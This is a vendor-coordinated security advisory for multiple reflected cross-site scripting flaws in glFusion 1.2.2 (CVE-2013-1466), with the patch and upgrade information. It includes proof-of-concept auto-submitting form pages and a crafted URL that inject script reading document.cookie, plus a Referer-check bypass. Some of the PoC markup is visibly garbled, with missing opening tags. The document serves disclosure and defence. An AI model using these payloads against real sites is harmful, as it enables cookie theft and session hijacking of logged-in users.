glFusion 1.2.2 – Multiple Cross-Site Scripting Vulnerabilities

Advisory ID: HTB23142

Product: glFusion

Vendor: http://www.glfusion.org/

Vulnerable Version(s): 1.2.2 and probably prior

Tested Version: 1.2.2

Vendor Notification: January 30, 2013

Vendor Patch: January 30, 2013

Public Disclosure: February 20, 2013

Vulnerability Type: Cross-Site Scripting [CWE-79]

CVE Reference: CVE-2013-1466

Risk Level: Medium

CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)

Solution Status: Fixed by Vendor

Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in glFusion, which can be exploited to perform Cross-Site Scripting attacks.

glFusion has a "bad_behaviour" plugin (installed by default) that verifies HTTP Referer, aimed to protect against spambots. The plugin also makes reflected XSS attacks against the application a little bit more complex. To bypass the security restriction PoC (Proof-of-Concept) codes for vulnerabilities 1.1 – 1.3 modify the HTTP Referer header. These PoCs were successfully tested in the latest available version of Mozilla Firefox (18.0.1) .

1) Multiple Cross-Site Scripting (XSS) in glFusion: CVE-2013-1466

1.1 The vulnerability exists due to insufficient filtration of user-supplied data in "subject" HTTP POST parameter passed to "/profiles.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

<html>

<head>

</head>

<body>

var x = 0

function go2() { location.replace("") }

function go() {

if(x) return

x += 1

try {

var html = '<form target="_parent" action="http://[host]/profiles.php" method="post">'

html += '<input type="hidden" name="uid" value="2">'

html += '<input type="hidden" name="author" value="author">'

html += '<input type="hidden" name="message" value="1">'

html += '<input type="hidden" name="message_html" value="1">'

html += '<input type="hidden" name="authoremail" value="mail@mail.com">'

html += '<input type="hidden" name="postmode" value="html">'

html += '<input type="hidden" name="what" value="contact">'

html += '<input type="hidden" name="subject" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'

window.frames[0].document.body.innerHTML = html

window.frames[0].document.forms[0].submit()

} catch(e) {

go2()

}

</script>

</iframe>

window.setTimeout('go2()', 3333)

</script>

</body>

</html>

1.2 The vulnerabilities exist due to insufficient filtration of user-supplied data in "address1", "address2", "calendar_type", "city", "state", "title", "url", "zipcode" HTTP POST parameters passed to "/calendar/index.php" script. A remote attacker can trick a logged-in user into opening a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

<html>

<head>

</head>

<body>

var x = 0

function go2() { location.replace("") }

function go() {

if(x) return

x += 1

try {

var html = '<form target="_parent" action="http://[host]/calendar/index.php" method="post">'

html += '<input type="hidden" name="mode" value="Submit">'

html += '<input type="hidden" name="savecal" value="Submit">'

html += '<input type="hidden" name="address1" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'

html += '<input type="hidden" name="calendar_type" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'

html += '<input type="hidden" name="city" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'

html += '<input type="hidden" name="state" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'

html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'

html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'

html += '<input type="hidden" name="zipcode" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'

html += '<input type="hidden" name="address2" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'

window.frames[0].document.body.innerHTML = html

window.frames[0].document.forms[0].submit()

} catch(e) {

go2()

}

</script>

</iframe>

window.setTimeout('go2()', 3333)

</script>

</body>

</html>

1.3 The vulnerabilities exists due to insufficient filtration of user-supplied data in "title" and "url" HTTP POST parameters passed to "/links/index.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

<html>

<head>

</head>

<body>

var x = 0

function go2() { location.replace("") }

function go() {

if(x) return

x += 1

try {

var html = '<form target="_parent" action="http://[host]/links/index.php" method="post">'

html += '<input type="hidden" name="mode" value="Submit">'

html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(1);"\'>'

html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(2);"\'></form>'

window.frames[0].document.body.innerHTML = html

window.frames[0].document.forms[0].submit()

} catch(e) {

go2()

}

</script>

</iframe>

window.setTimeout('go2()', 3333)

</script>

</body>

</html>

1.4 The vulnerability exists due to insufficient filtration of user-supplied data in URI after "/admin/plugins/mediagallery/xppubwiz.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

http://[host]/admin/plugins/mediagallery/xppubwiz.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E/

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Solution:

Upgrade to glFusion v1.2.2.pl4

More Information:

http://www.glfusion.org/article.php/glf122_update_20130130_01

http://www.glfusion.org/filemgmt/viewcat.php?cid=1

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References:

[1] High-Tech Bridge Advisory HTB23142 - https://www.htbridge.com/advisory/HTB23142 - Multiple Cross-Site Scripting (XSS) in glFusion.

[2] glFusion - http://www.glfusion.org/ - glFusion is an open source content management system developed in PHP providing blog, forum, gallery, downloads.

[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

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